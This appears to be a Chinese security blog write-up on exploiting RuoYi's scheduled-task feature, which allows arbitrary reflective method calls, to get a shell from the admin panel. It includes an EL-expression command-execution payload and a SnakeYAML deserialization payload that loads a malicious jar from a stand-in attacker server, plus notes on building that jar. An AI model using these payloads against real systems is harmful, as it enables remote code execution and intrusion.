某次团队的小伙伴给了个系统需要后台getshell,经过分析这个系统不解析jsp,但在后台发现了个反射调用任意类的任意方法的功能点,想到通过JNDI注入利用,下面着重分析如何通过JNDI注入种植内存马。
漏洞分析
该漏洞点主要在com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)
方法中,当传入的对象是bean,则会调用bean的方法,当传入的不是bean则创建类的实例并调用对应的方法。
e
在com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(java.lang.Object, java.lang.String, java.util.List<java.lang.Object[]>)
中完成反射调用。
这是一个计划任务的功能,调用目标的类参数和方法均为用户可控,所以我们可以调用任意类的非private方法。
EL表达式利用
由于这套系统依赖了tomcat环境,而tomcat自身支持el表达式,可以通过执行EL表达式进行利用。
下面只要构造好EL表达式执行命令完成利用。
1 | ELProcessor()).eval("\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\").toString()"); |
但是这种利用方式却出现了问题,主要是该系统对参数提取的部分导致的,在通过com.ruoyi.quartz.util.JobInvokeUtil#getMethodParams
处理参数时,会将()中间的内容提取当作参数,但是我们传入的参数本身就带有(),因此只会解析到getClass(,后面传入的参数会被截断,因此无法直接通过这种方式进行利用。
snakeyaml反序列化利用
这套程序使用了yml作为配置文件,而解析yml一般会使用snakeyaml库,当使用Yaml.load加载内容时,会进行反序列化操操作,将!!全路径类名
转换为对象。
1 | new Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps-ip:port/yaml-payload.jar"]]]]') |
这里讲下为什么要加上ScriptEngineManager,我们知道当我们通过URLClassLoader loader = new URLClassLoader (new URL[] {u});
创建URLClassLoader时是不会直接去加载远程的jar的,只有当通过 Class.forName ("Hello", true, loader);
时才会加载远程的Class。在ScriptEngineManager中存在构造方法并接收ClassLoader对象,并且会调用Class.forName触发类加载,所以这里才需要加上ScriptEngineManager。
虽然上面的代码通过Class.forName
触发了类加载,但是要执行我们的恶意类还取决于nextName
的值,在java.util.ServiceLoader.LazyIterator#hasNextService
中将pending的内容赋值给了netxtName。
这里我们了解下ServiceLoader类,这个类是SPI的具体实现。在ServiceLoader.load的时候,根据传入的接口类,遍历META-INF/services
目录下的以该类命名的文件中的所有类,并实例化返回。
再回到代码里,我们这里传入了URLClassLoader,调用URLClassLoader.getResources会加载远程jar包的文件,再parse中读取远程META-INF/services/javax.script.ScriptEngineFactory
中的内容并返回,所以我们的jar包中要在文件下放置我们想要获取Class实例的类名。
最后提的一点是在通过Class.forName得到Class对象后,后面还会使用newInstance方法创建对象,所以我们可以把恶意代码写到构造方法中。并且通过cast将类型转换为javax.script.ScriptEngineFactory
,所以要想执行过程中不报错,需要实现ScriptEngineFactory接口。
这里需要注意编译jar的jdk版本要和目标jdk版本大致一致,我使用jdk6编译jar,在jdk8环境下运行系统加载类时会导致异常不能加载。